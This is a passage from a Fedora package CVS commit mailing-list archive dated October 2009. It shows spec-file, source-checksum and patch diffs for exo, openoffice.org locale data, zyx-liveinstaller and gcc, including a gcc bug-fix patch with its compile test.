 chrpath --delete $RPM_BUILD_ROOT%{_libdir}/python*/site-packages/exo-0.3/_exo.so
 
-touch -r NEWS $RPM_BUILD_ROOT%{_datadir}/xfce4/helpers/evolution.desktop
-touch -r NEWS $RPM_BUILD_ROOT%{_datadir}/xfce4/helpers/firefox.desktop
-
 %find_lang libexo-0.3
 
 desktop-file-install                                       \
@@ -143,6 +135,14 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
+- Disable parallel make due to multilib conflicts.
+
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-1
+- Update to 0.3.103
+- Drop patches for URL quoting and default mount options (fixed upstream)
+- Revert useless touch -r trick
+
 * Wed Sep 30 2009 Kevin Fenzi <kevin at tummy.com> - 0.3.101-5
 - Use touch -r trick to fix multilib issue
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	20 Apr 2009 02:08:40 -0000	1.12
+++ sources	10 Oct 2009 16:22:00 -0000	1.13
@@ -1 +1 @@
-1c0eebb360f53eab70454b70e1bde36e  exo-0.3.101.tar.bz2
+16be1f98b09f6c72e8474d0776f74846  exo-0.3.103.tar.bz2


--- exo-0.3.101-default-mount-options.patch DELETED ---


--- exo-0.3.101-url-quoting.patch DELETED ---



From cwickert at fedoraproject.org  Sat Oct 10 16:46:57 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 16:46:57 +0000 (UTC)
Subject: rpms/exo/devel .cvsignore, 1.13, 1.14 exo.spec, 1.41, 1.42 sources, 
	1.13, 1.14
Message-ID: <20091010164658.03F9411C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23642

Modified Files:
	.cvsignore exo.spec sources 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
- Update to 0.3.104



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	10 Oct 2009 15:06:35 -0000	1.13
+++ .cvsignore	10 Oct 2009 16:46:56 -0000	1.14
@@ -1 +1 @@
-exo-0.3.103.tar.bz2
+exo-0.3.104.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/exo.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- exo.spec	10 Oct 2009 16:17:06 -0000	1.41
+++ exo.spec	10 Oct 2009 16:46:56 -0000	1.42
@@ -2,8 +2,8 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.103
-Release: 2%{?dist}
+Version: 0.3.104
+Release: 1%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
@@ -135,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
+- Update to 0.3.104
+
 * Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
 - Disable parallel make due to multilib conflicts.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	10 Oct 2009 15:06:36 -0000	1.13
+++ sources	10 Oct 2009 16:46:56 -0000	1.14
@@ -1 +1 @@
-16be1f98b09f6c72e8474d0776f74846  exo-0.3.103.tar.bz2
+a2cf8c5f53dda6136550f8185626c745  exo-0.3.104.tar.bz2



From caolanm at fedoraproject.org  Sat Oct 10 16:49:35 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 10 Oct 2009 16:49:35 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch, 1.1, 1.2
Message-ID: <20091010164935.E3F3511C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24043

Modified Files:
	openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch 
Log Message:
fix up mai locale data a bit

openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch:
 mai_IN.xml  |  357 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 makefile.mk |    2 
 2 files changed, 359 insertions(+)

Index: openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch	5 May 2009 13:36:12 -0000	1.1
+++ openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch	10 Oct 2009 16:49:35 -0000	1.2
@@ -40,7 +40,7 @@ diff -ru i18npool.orig/source/localedata
 +<DecimalSeparator>.</DecimalSeparator>
 +<TimeSeparator>:</TimeSeparator>
 +<Time100SecSeparator>.</Time100SecSeparator>
-+<ListSeparator>,</ListSeparator>
++<ListSeparator>;</ListSeparator>
 +<LongDateDayOfWeekSeparator>, </LongDateDayOfWeekSeparator>
 +<LongDateDaySeparator>, </LongDateDaySeparator>
 +<LongDateMonthSeparator> </LongDateMonthSeparator>
@@ -336,10 +336,10 @@ diff -ru i18npool.orig/source/localedata
 +</LC_CALENDAR>
 +<LC_CURRENCY>
 +<Currency default="true" usedInCompatibleFormatCodes="true">
-+<CurrencyID>??.</CurrencyID>
-+<CurrencySymbol>?????</CurrencySymbol>
-+<BankSymbol>??.</BankSymbol>
-+<CurrencyName>?????</CurrencyName>
++<CurrencyID>INR</CurrencyID>
++<CurrencySymbol>??.</CurrencySymbol>
++<BankSymbol>INR</BankSymbol>
++<CurrencyName>Rupee</CurrencyName>
 +<DecimalPlaces>2</DecimalPlaces>
 +</Currency>
 +</LC_CURRENCY>



From sdz at fedoraproject.org  Sat Oct 10 16:58:20 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 16:58:20 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/devel .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 zyx-liveinstaller.spec, 1.4, 1.5
Message-ID: <20091010165820.14BC911C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25826

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Sep 2009 13:09:08 -0000	1.4
+++ .cvsignore	10 Oct 2009 16:58:19 -0000	1.5
@@ -1 +1 @@
-zyx-liveinstaller-0.1.12.tar.bz2
+zyx-liveinstaller-0.1.13.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Sep 2009 13:09:08 -0000	1.4
+++ sources	10 Oct 2009 16:58:19 -0000	1.5
@@ -1 +1 @@
-3b7fd11e81bdae310077f56952a47ccc  zyx-liveinstaller-0.1.12.tar.bz2
+7c1beea9705a0ae7be135f33108a41a5  zyx-liveinstaller-0.1.13.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/zyx-liveinstaller.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- zyx-liveinstaller.spec	26 Sep 2009 13:09:08 -0000	1.4
+++ zyx-liveinstaller.spec	10 Oct 2009 16:58:19 -0000	1.5
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.12
+Version:        0.1.13
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.13-1
+- update to new upstream release
+
 * Sat Sep 26 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.12-1
 - update to new upstream release
 



From cwickert at fedoraproject.org  Sat Oct 10 17:02:31 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 17:02:31 +0000 (UTC)
Subject: rpms/exo/F-12 .cvsignore, 1.13, 1.14 exo.spec, 1.40, 1.41 sources, 
	1.13, 1.14
Message-ID: <20091010170231.5EA7911C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27525/F-12

Modified Files:
	.cvsignore exo.spec sources 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
- Update to 0.3.104



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	10 Oct 2009 16:21:59 -0000	1.13
+++ .cvsignore	10 Oct 2009 17:02:30 -0000	1.14
@@ -1 +1 @@
-exo-0.3.103.tar.bz2
+exo-0.3.104.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-12/exo.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- exo.spec	10 Oct 2009 16:22:00 -0000	1.40
+++ exo.spec	10 Oct 2009 17:02:31 -0000	1.41
@@ -2,8 +2,8 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.103
-Release: 2%{?dist}
+Version: 0.3.104
+Release: 1%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
@@ -135,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
+- Update to 0.3.104
+
 * Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
 - Disable parallel make due to multilib conflicts.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	10 Oct 2009 16:22:00 -0000	1.13
+++ sources	10 Oct 2009 17:02:31 -0000	1.14
@@ -1 +1 @@
-16be1f98b09f6c72e8474d0776f74846  exo-0.3.103.tar.bz2
+a2cf8c5f53dda6136550f8185626c745  exo-0.3.104.tar.bz2



From cwickert at fedoraproject.org  Sat Oct 10 17:02:31 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 17:02:31 +0000 (UTC)
Subject: rpms/exo/F-11 .cvsignore, 1.13, 1.14 exo.spec, 1.39, 1.40 sources, 
	1.13, 1.14
Message-ID: <20091010170231.9530E11C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27525/F-11

Modified Files:
	.cvsignore exo.spec sources 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
- Update to 0.3.104



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	10 Oct 2009 16:22:00 -0000	1.13
+++ .cvsignore	10 Oct 2009 17:02:31 -0000	1.14
@@ -1 +1 @@
-exo-0.3.103.tar.bz2
+exo-0.3.104.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-11/exo.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- exo.spec	10 Oct 2009 16:22:00 -0000	1.39
+++ exo.spec	10 Oct 2009 17:02:31 -0000	1.40
@@ -2,8 +2,8 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.103
-Release: 2%{?dist}
+Version: 0.3.104
+Release: 1%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
@@ -135,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
+- Update to 0.3.104
+
 * Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
 - Disable parallel make due to multilib conflicts.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	10 Oct 2009 16:22:01 -0000	1.13
+++ sources	10 Oct 2009 17:02:31 -0000	1.14
@@ -1 +1 @@
-16be1f98b09f6c72e8474d0776f74846  exo-0.3.103.tar.bz2
+a2cf8c5f53dda6136550f8185626c745  exo-0.3.104.tar.bz2



From jakub at fedoraproject.org  Sat Oct 10 17:19:46 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Sat, 10 Oct 2009 17:19:46 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-pr41646.patch, NONE,
	1.1 gcc44-rhel6-power4.patch, 
	NONE, 1.1 .cvsignore, 1.298, 1.299 gcc.spec, 1.77, 1.78 sources,
	1.302, 1.303 gcc44-vta-pr41353-c9.patch, 1.1, NONE
Message-ID: <20091010171946.99D4B11C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31015

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-pr41646.patch gcc44-rhel6-power4.patch 
Removed Files:
	gcc44-vta-pr41353-c9.patch 
Log Message:
4.4.1-21

gcc44-pr41646.patch:
 calls.c                                   |    5 ++++-
 testsuite/gcc.c-torture/compile/pr41646.c |   28 ++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+), 1 deletion(-)

--- NEW FILE gcc44-pr41646.patch ---
2009-10-09  Jakub Jelinek  <jakub at redhat.com>

	PR rtl-optimization/41646
	* calls.c (expand_call): For BLKmode types returned in registers
	avoid likely spilled hard regs in copy_blkmode_from_reg generated
	insns.

	* gcc.c-torture/compile/pr41646.c: New test.

--- gcc/calls.c	(revision 152596)
+++ gcc/calls.c	(revision 152597)
@@ -3020,7 +3020,10 @@ expand_call (tree exp, rtx target, int i
 	}
       else if (TYPE_MODE (rettype) == BLKmode)
 	{
-	  target = copy_blkmode_from_reg (target, valreg, rettype);
+	  rtx val = valreg;
+	  if (GET_MODE (val) != BLKmode)
+	    val = avoid_likely_spilled_reg (val);
+	  target = copy_blkmode_from_reg (target, val, rettype);
 
 	  /* We can not support sibling calls for this case.  */
 	  sibcall_failure = 1;
--- gcc/testsuite/gcc.c-torture/compile/pr41646.c	(revision 0)
+++ gcc/testsuite/gcc.c-torture/compile/pr41646.c	(revision 152597)
@@ -0,0 +1,28 @@
+/* PR rtl-optimization/41646 */
+
+struct A { unsigned long a; };
+struct B { unsigned short b, c, d; };
+struct B bar (unsigned long);
+
+char *
+foo (char *a, struct A *x)
+{
+  struct B b = bar (x->a);
+  unsigned char c;
+  unsigned short d;
+  a[3] = ((unsigned char) (b.b % 10) + 48);
+  d = b.b / 10;
+  a[2] = ((unsigned char) (d % 10) + 48);
+  d = d / 10;
+  a[1] = ((unsigned char) (d % 10) + 48);
+  a[0] = ((unsigned char) ((d / 10) % 10) + 48);
+  a[4] = 46;
+  c = (unsigned char) b.c;
+  a[6] = (c % 10 + 48);
+  a[5] = ((c / 10) % 10 + 48);
+  a[7] = 46;
+  c = b.d;
+  a[9] = (c % 10 + 48);
+  a[8] = ((c / 10) % 10 + 48);
+  return a + 10;
+}

gcc44-rhel6-power4.patch:
 default64.h |    4 +++-
 sysv4.h     |    5 +++--
 2 files changed, 6 insertions(+), 3 deletions(-)

--- NEW FILE gcc44-rhel6-power4.patch ---
2009-10-10  Jakub Jelinek  <jakub at redhat.com>

	* config/rs6000/sysv4.h (TARGET_DEFAULT): Override to default to
	power4 for RHEL6.
	* config/rs6000/default64.h (TARGET_DEFAULT): Likewise.

--- gcc/config/rs6000/sysv4.h	2009-10-07 16:45:42.000000000 +0200
+++ gcc/config/rs6000/sysv4.h	2009-10-10 15:48:38.197497571 +0200
@@ -239,9 +239,10 @@ do {									\
 } while (0)
 #endif
 
-/* Override rs6000.h definition.  */
+/* Override rs6000.h definition.  RHEL6 defaults to power4 CPU, power6 tuning.  */
 #undef	TARGET_DEFAULT
-#define	TARGET_DEFAULT (MASK_POWERPC | MASK_NEW_MNEMONICS)
+#define	TARGET_DEFAULT (MASK_POWERPC | MASK_NEW_MNEMONICS | MASK_POWERPC64 \
+			| MASK_PPC_GPOPT | MASK_PPC_GFXOPT | MASK_MFCRF)
 
 /* Override rs6000.h definition.  */
 #undef	PROCESSOR_DEFAULT
--- gcc/config/rs6000/default64.h	2009-01-14 12:06:23.000000000 +0100
+++ gcc/config/rs6000/default64.h	2009-10-10 15:49:44.533872481 +0200
@@ -18,7 +18,9 @@ You should have received a copy of the G
 along with GCC; see the file COPYING3.  If not see
 <http://www.gnu.org/licenses/>.  */
 
+/* RHEL6 defaults to power4 CPU, power6 tuning.  */
 #undef TARGET_DEFAULT
 #define TARGET_DEFAULT \
   (MASK_POWERPC | MASK_PPC_GFXOPT | \
-   MASK_POWERPC64 | MASK_64BIT | MASK_NEW_MNEMONICS)
+   MASK_POWERPC64 | MASK_64BIT | MASK_NEW_MNEMONICS \
+   MASK_PPC_GPOPT | MASK_MFCRF)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.298
retrieving revision 1.299
diff -u -p -r1.298 -r1.299
--- .cvsignore	8 Oct 2009 08:41:15 -0000	1.298
+++ .cvsignore	10 Oct 2009 17:19:46 -0000	1.299
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20091008.tar.bz2
+gcc-4.4.1-20091010.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- gcc.spec	8 Oct 2009 08:41:15 -0000	1.77
+++ gcc.spec	10 Oct 2009 17:19:46 -0000	1.78
@@ -1,9 +1,9 @@
-%global DATE 20091008
-%global SVNREV 152555
+%global DATE 20091010
+%global SVNREV 152620
 %global gcc_version 4.4.1
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 20
+%global gcc_release 21
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -162,7 +162,8 @@ Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
 Patch20: gcc44-vta-rh521991.patch
 Patch21: gcc44-vta-rh521991-2.patch
-Patch22: gcc44-vta-pr41353-c9.patch
+Patch22: gcc44-pr41646.patch
+Patch23: gcc44-rhel6-power4.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -471,7 +472,10 @@ which are required to compile with the G
 %patch19 -p0 -b .ppc64-aixdesc~
 %patch20 -p0 -b .vta-rh521991~
 %patch21 -p0 -b .vta-rh521991-2~
-%patch22 -p0 -b .vta-pr41353-c9~
+%patch22 -p0 -b .pr41646~
+%if 0%{?rhel} >= 6
+%patch23 -p0 -b .rhel6-power4~
+%endif
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1841,6 +1845,18 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Sat Oct 10 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-21
+- update from gcc-4_4-branch
+  - fix s390{,x} prefetch for pre-z10 CPUs (#524552)
+- VTA backports
+  - fix debug info differences with/without -save-temps
+    (PR preprocessor/41445)
+- fix ICE with small BLKmode returning call (#516028,
+  PR rtl-optimization/41646)
+%if 0%{?rhel} >= 6
+- if -mcpu= isn't specified, default to -mcpu=power4 (#463549)
+%endif
+
 * Thu Oct  8 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-20
 - update from gcc-4_4-branch
   - PRs c++/39863, c++/41038


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.302
retrieving revision 1.303
diff -u -p -r1.302 -r1.303
--- sources	8 Oct 2009 08:41:15 -0000	1.302
+++ sources	10 Oct 2009 17:19:46 -0000	1.303
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-c4c9ad868e890c2a8de2f96496e74b12  gcc-4.4.1-20091008.tar.bz2
+911d98c3e797c669fe0564eb880eee2c  gcc-4.4.1-20091010.tar.bz2


--- gcc44-vta-pr41353-c9.patch DELETED ---



From sdz at fedoraproject.org  Sat Oct 10 17:23:50 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 17:23:50 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/F-12 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 zyx-liveinstaller.spec, 1.4, 1.5
Message-ID: <20091010172350.BE62311C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31448

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Sep 2009 13:09:08 -0000	1.4
+++ .cvsignore	10 Oct 2009 17:23:50 -0000	1.5
@@ -1 +1 @@
-zyx-liveinstaller-0.1.12.tar.bz2
+zyx-liveinstaller-0.1.13.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Sep 2009 13:09:08 -0000	1.4
+++ sources	10 Oct 2009 17:23:50 -0000	1.5
@@ -1 +1 @@
-3b7fd11e81bdae310077f56952a47ccc  zyx-liveinstaller-0.1.12.tar.bz2
+7c1beea9705a0ae7be135f33108a41a5  zyx-liveinstaller-0.1.13.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/zyx-liveinstaller.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- zyx-liveinstaller.spec	26 Sep 2009 13:09:08 -0000	1.4
+++ zyx-liveinstaller.spec	10 Oct 2009 17:23:50 -0000	1.5
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.12
+Version:        0.1.13
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.13-1
+- update to new upstream release
+
 * Sat Sep 26 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.12-1
 - update to new upstream release
 



From sdz at fedoraproject.org  Sat Oct 10 17:31:18 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 17:31:18 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/F-11 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 zyx-liveinstaller.spec, 1.5, 1.6
Message-ID: <20091010173118.B676D11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv620

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Sep 2009 13:10:11 -0000	1.4
+++ .cvsignore	10 Oct 2009 17:31:18 -0000	1.5
@@ -1 +1 @@
-zyx-liveinstaller-0.1.12.tar.bz2
+zyx-liveinstaller-0.1.13.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Sep 2009 13:10:11 -0000	1.4
+++ sources	10 Oct 2009 17:31:18 -0000	1.5
@@ -1 +1 @@
-3b7fd11e81bdae310077f56952a47ccc  zyx-liveinstaller-0.1.12.tar.bz2
+7c1beea9705a0ae7be135f33108a41a5  zyx-liveinstaller-0.1.13.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/zyx-liveinstaller.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- zyx-liveinstaller.spec	26 Sep 2009 13:10:11 -0000	1.5
+++ zyx-liveinstaller.spec	10 Oct 2009 17:31:18 -0000	1.6
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.12
+Version:        0.1.13
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.13-1
+- update to new upstream release
+
 * Sat Sep 26 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.12-1
 - update to new upstream release
 



From jakub at fedoraproject.org  Sat Oct 10 17:32:40 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Sat, 10 Oct 2009 17:32:40 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-pr41646.patch,1.1,1.2
Message-ID: <20091010173240.10B3E11C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1294

Modified Files:
	gcc44-pr41646.patch 
Log Message:
4.4.1-21

gcc44-pr41646.patch:
 calls.c                                   |    5 ++++-
 testsuite/gcc.c-torture/compile/pr41646.c |   28 ++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+), 1 deletion(-)

Index: gcc44-pr41646.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc44-pr41646.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcc44-pr41646.patch	10 Oct 2009 17:19:46 -0000	1.1
+++ gcc44-pr41646.patch	10 Oct 2009 17:32:39 -0000	1.2
@@ -9,15 +9,15 @@
 
 --- gcc/calls.c	(revision 152596)
 +++ gcc/calls.c	(revision 152597)
-@@ -3020,7 +3020,10 @@ expand_call (tree exp, rtx target, int i
+@@ -3019,7 +3019,10 @@ expand_call (tree exp, rtx target, int i
  	}
-       else if (TYPE_MODE (rettype) == BLKmode)
+       else if (TYPE_MODE (TREE_TYPE (exp)) == BLKmode)
  	{
--	  target = copy_blkmode_from_reg (target, valreg, rettype);
+-	  target = copy_blkmode_from_reg (target, valreg, TREE_TYPE (exp));
 +	  rtx val = valreg;
 +	  if (GET_MODE (val) != BLKmode)
 +	    val = avoid_likely_spilled_reg (val);
-+	  target = copy_blkmode_from_reg (target, val, rettype);
++	  target = copy_blkmode_from_reg (target, val, TREE_TYPE (exp));
  
  	  /* We can not support sibling calls for this case.  */
  	  sibcall_failure = 1;



From sdz at fedoraproject.org  Sat Oct 10 17:58:42 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 17:58:42 +0000 (UTC)
Subject: rpms/python-oauth/devel import.log, NONE, 1.1 python-oauth.spec,
